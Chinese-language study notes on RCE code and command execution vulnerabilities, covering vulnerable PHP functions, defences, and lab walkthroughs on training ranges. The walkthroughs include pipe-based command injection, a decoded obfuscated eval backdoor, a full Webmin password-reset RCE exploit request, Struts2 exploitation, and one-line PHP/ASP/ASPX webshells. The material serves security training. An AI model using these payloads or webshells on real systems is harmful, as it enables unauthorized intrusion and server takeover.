30.WEB漏洞-RCE代码及命令执行漏洞
30:WEB漏洞-RCE代码及命令执行漏洞参考文章:https://www.cnblogs.com/zhengna/p/15775737.html本文为博主学习复现笔记文章目录30:WEB漏洞-RCE代码及命令执行漏洞思维导图产生原理:漏洞形成条件:可控变量&漏洞函数RCE漏洞危害1、执行系统命令(Windows:DOS命令、linux)2、执行脚本代码(php、java、python)1
30:WEB漏洞-RCE代码及命令执行漏洞
参考文章:https://www.cnblogs.com/zhengna/p/15775737.html
本文为博主学习复现笔记
思维导图
RCE(remote code/command execute) 远程代码/命令执行漏洞
产生原理:
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
漏洞形成条件:可控变量&漏洞函数
漏洞函数:几种常用语言,都有将字符串转化成代码去执行的相关函数。
RCE漏洞危害
1、执行系统命令(Windows:DOS命令、linux)
2、执行脚本代码(php、java、python)
1.代码执行演示
test.php脚本代码
eval()
函数会将传入的字符串当做代码来执行,若传入phpinfo();则会执行,显示如下
传入echo 123;也会执行,显示123
发现漏洞后,后续攻击可以执行一段代码,执行写入文件、读取文件等操作。
写入一句话
$a=fopen("myqf.php","w");
echo fwrite($a,"一句话木马");
fclose($a);
成功写入进去
2.命令执行演示
test.php脚本代码
system()
函数会执行外部命令,若传入ipconfig则会执行,显示如下
脚本代码
1.php:
代码执行函数:
- 1- eval()(特别注意:php中
@
符号的意思是不报错,即使执行错误,也不报错。) - 2- assert()
- 3- call_user_func()
- 4- create_function()
- 5- array_map()
- 6- call_user_func_array()
- 7- array_filter()
- 8- uasort()函数
- 9- preg_replace()
命令执行函数:
- 1- system()
- 2-passthru()
- 3- exec()
- 4- pcntl_exec()
- 5- shell_exec()
- 6- popen()/proc_open()
- 7- 反引号 ``
2.Python:exec等
3.java
Java:Java中没有类似php中的eval函数这种直接可以将字符串转化成代码去执行的函数,但是有反射机制,并期望有各种基于反射机制的表达式引擎,如OGNL、SpEL
等。
代码/命令执行漏洞的查找:
- 1.代码审计,比如网站使用开源CMS,则可以去网上搜索源代码审计。推荐站长之家:
https://down.chinaz.com/
- 2.漏洞工具扫描
- 3.搜索引擎搜索公开漏洞
- 4.手工查看参数值和功能点判断(参数值和脚本有关,如test.php?x=echo 等等)
漏洞检测
白盒测试:代码审计
黑盒测试:
1、漏洞工具–OpenVAS、Nessus等
2、公开漏洞–寻找类似目标网站的公开漏洞
3、手工看参数值及功能点–判定参数值的数据是否和代码相关
相关防御
1、变量过滤或固定
2、禁用敏感函数
3、WAF产品防护
命令执行的防御方法
1.在PHP下禁用高危系统函数
找到php.ini,查找到disable_functions,添加禁用的函数名
2.参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义
3.不执行外部的应用程序或命令
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容
4.使用escapeshellarg函数处理相关参数
escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的
5.使用safe_mode_exec_dir指定可执行的文件路径
将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径;这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败
代码执行的防御方法
1、使用json保存数组,当读取时就不需要使用eval了
2、对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)
3、字符串使用单引号包括可控代码,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string)
4、放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换(preg_replace_callback())
5、若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
本课重点案例:
- 案例1:墨者靶场黑盒功能点命令执行-应用功能
- 案例2:墨者靶场白盒代码及命令执行-代码分析
- 案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞
- 案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面
- 案例5:一句话Webshell后门原理代码-拓展说明
案例1:墨者靶场黑盒功能点命令执行-应用功能
墨者学院-命令注入执行分析:https://www.mozhe.cn/bug/detail/12
<1>首页打开,输入127.0.0.1,显示Ping的结果,猜测这里可能有命令执行漏洞。
<2>输入127.0.0.1|ls,尝试执行ls命令,发现报错“IP格式不正确”。(这里使用了linux命令中的管道符)
<3>经过分析,发现是前端代码校验IP格式,可以采用禁用本地JS或者抓包的形式绕过。
我采用抓包
<4>下面直接抓包绕过
首先找到flag文件
然后读取flag文件
本关主要是在不知道代码的情况下,通过网站功能点,盲猜有漏洞,并进行黑盒测试。
案例2:墨者靶场白盒代码及命令执行-代码分析
墨者学院-PHP代码分析溯源(第4题):https://www.mozhe.cn/bug/detail/13
<1>首页打开发现提示key在根目录,且给出代码。
<?
php eval (gzinflate( base64_decode (&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
<2>这是base64加密+压缩的编码。简单方法就是直接把eval改成echo输出,执行
<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?>
得到echo $_REQUEST[a]
;; ?>,发现有命令执行漏洞
https://tool.lu/coderunner/
发现是用a来接收传参数
<3>直接给a传入 ls,显示所有文件。发现key文件。
<4>尝试读取key文件,直接用cat读取得到key(需要在源代码中查看),或者使用tac命令读取key(可以在页面直接显示)。
用cat / tac 查看 key
http://219.153.49.228:44533/f.php?a=cat key_181541630618021.php
http://219.153.49.228:44533/f.php?a=tac key_181541630618021.php
案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞
墨者学院-Webmin未经身份验证的远程代码执行:https://www.mozhe.cn/bug/detail/309
Webmin是用于类似Unix的系统的基于Web的系统配置工具。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。
没墨币,直接本地vulhub 来复现!
<1>打开页面如下
<2>直接网上搜索webmin漏洞,找到远程代码执行的EXP:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2
<3>尝试登录,抓包,将url和参数改为EXP,由于key在根目录下,我们直接“ls /”查看根目录下文件,找到key文件
<4>读取key文件:cat /key.txt
该漏洞利用条件:
- 系统开启密码修改功能
- 存在此漏洞的版本1.882-1.920
修复建议:
- 升级版本
- 在版本1.900到1.920中编辑/etc/webmin/miniserv.conf,删除passwd_mode =行,然后运行/ etc / webmin / restart,以免系统受到攻击。
案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面
墨者学院-Apache Struts2远程代码执行漏洞(S2-016)复现:https://www.mozhe.cn/bug/detail/254
S2-016:由于通过操作前缀为“action”/“redirect”/“redirectAction”的参数引入的漏洞。
使用工具直接检测,居然没有发现S2-016,看到有S2-046就直接利用了。
ls找到key文件
cat查看key文件内容
墨者学院-Apache Struts2远程代码执行漏洞(S2-037)复现:https://www.mozhe.cn/bug/detail/262
直接网上搜索EXP利用
ls找到key文件
cat key.txt查看内容
案例5:一句话Webshell后门原理代码-拓展说明
常见的一句话木马:
php的一句话木马:
<?php @ eval ( $_POST [ 'pass' ]);?>
asp的一句话木马:
<% eval request ( "pass" )%>
aspx的一句话木马:
<%@ Page Language= "Jscript" %>
<% eval (Request.Item[ "pass" ], "unsafe" );%>
一句话木马的本质是向服务器写入了一个代码文件,而这个代码存在代码执行漏洞。
而菜刀的原理是,提前写好了各种脚本,利用一句话木马中的代码执行漏洞,实现对服务器的增删改查。
用WSExplorer 对菜刀进行流量分析
其他涉及资源:
- JAVA web网站代码审计--入门:https://www.cnblogs.com/ermei/p/6689005.html
- http://leanote.com/post/snowming/9da184ef24bd
- https://www.cnblogs.com/-qing-/p/10819069.html
- https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe 命令注入执行分析
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe PHP代码分析溯源
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe Webmin未经身份验证的远程代码执行
https://blog.csdn.net/LYJ20010728/article/details/117349106
更多推荐
所有评论(0)